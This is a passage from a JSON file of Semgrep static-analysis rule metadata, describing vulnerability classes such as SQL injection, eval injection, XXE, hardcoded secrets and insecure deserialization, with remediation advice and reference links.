[https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express","id":"javascript.express.db.mongoose-where-express.mongoose-where-express","name":"javascript.express.db.mongoose-where-express.mongoose-where-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-where-express.mongoose-where-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli)\n - [https://www.sqlitetutorial.net/sqlite-nodejs/](https://www.sqlitetutorial.net/sqlite-nodejs/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli","id":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","name":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-sqlite-sqli.express-sqlite-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","id":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","name":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","id":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","name":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into eval. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into eval. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Detected user data flowing into eval. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection","id":"python.flask.security.injection.user-eval.eval-injection","name":"python.flask.security.injection.user-eval.eval-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-eval.eval-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"help":{"markdown":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","id":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","name":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"help":{"markdown":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","id":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","name":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret)\n - [https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","id":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","name":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","id":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","name":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","id":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","name":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","id":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","name":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context","id":"python.django.security.globals-as-template-context.globals-as-template-context","name":"python.django.security.globals-as-template-context.globals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.globals-as-template-context.globals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"help":{"markdown":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n","text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","id":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","name":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","id":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","name":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","id":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","name":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An 